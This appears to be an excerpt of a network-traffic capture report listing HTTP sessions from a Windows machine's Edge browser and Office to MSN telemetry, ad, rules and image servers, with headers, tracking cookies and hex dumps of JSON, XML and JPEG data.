2024-11-26 00:41:49 UTC	956	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 26 Nov 2024 00:41:49 GMT Location: /b2?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=12Db443021fb10f4d2573941732581709; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=12Db443021fb10f4d2573941732581709; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 cc3dab704d6aa33fe47fd3b876e1228e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P10 X-Amz-Cf-Id: LBzl7-sWN_X1d5bSZd_eXo60E1iP5f0Lmc5czwAQPEh9pF4Y3SBxmg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49905	52.168.117.168	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581705993&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
2024-11-26 00:41:49 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 30 3a 34 31 3a 34 35 2e 39 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 35 61 61 64 30 31 33 2d 31 34 63 34 2d 34 64 34 39 2d 61 34 32 33 2d 30 30 38 30 62 35 66 34 36 66 65 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 33 34 37 34 39 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-26T00:41:45.985Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"f5aad013-14c4-4d49-a423-0080b5f46fe2","epoch":"1134749769"},"app":{"locale
2024-11-26 00:41:49 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2459bc0adc324c4588f0dedc1a3fd21b&HASH=2459&LV=202411&V=4&LU=1732581709313; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 00:41:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4f03d711130d4164b9ab3e1aab5bea43; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 01:11:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3320 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:49 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004149Z-174f78459685726chC1EWRsnbg0000000uvg000000000fdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49906	20.110.205.119	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	1175	OUT	GET /c.gif?rnd=1732581705995&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e28f39e28eb142bdaa5545b112f458fa&activityId=e28f39e28eb142bdaa5545b112f458fa&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
2024-11-26 00:41:49 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732581705995&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e28f39e28eb142bdaa5545b112f458fa&activityId=e28f39e28eb142bdaa5545b112f458fa&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2A6B96A97C4E4072A602F53B40E2433F&RedC=c.msn.com&MXFR=3553E294F9366CAE0604F7D7F89E6D7D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3553E294F9366CAE0604F7D7F89E6D7D; domain=.msn.com; expires=Sun, 21-Dec-2025 00:41:49 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49908	20.75.60.91	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3553E294F9366CAE0604F7D7F89E6D7D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=05337a2dea4a411ee35444d35001f6cf HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
2024-11-26 00:41:49 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 00:41:48 GMT Connection: close
2024-11-26 00:41:49 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49912	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:49 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 18 Nov 2024 16:00:05 GMT X-Source-Length: 116349 X-Datacenter: eastus X-ActivityId: d5afbdab-f330-4b6b-9080-ebcfb1965bf6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=184821 Expires: Thu, 28 Nov 2024 04:02:10 GMT Date: Tue, 26 Nov 2024 00:41:49 GMT Connection: close
2024-11-26 00:41:49 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 00:41:50 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-26 00:41:50 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-26 00:41:50 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-26 00:41:50 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-26 00:41:50 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-26 00:41:50 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-26 00:41:50 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-26 00:41:50 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: 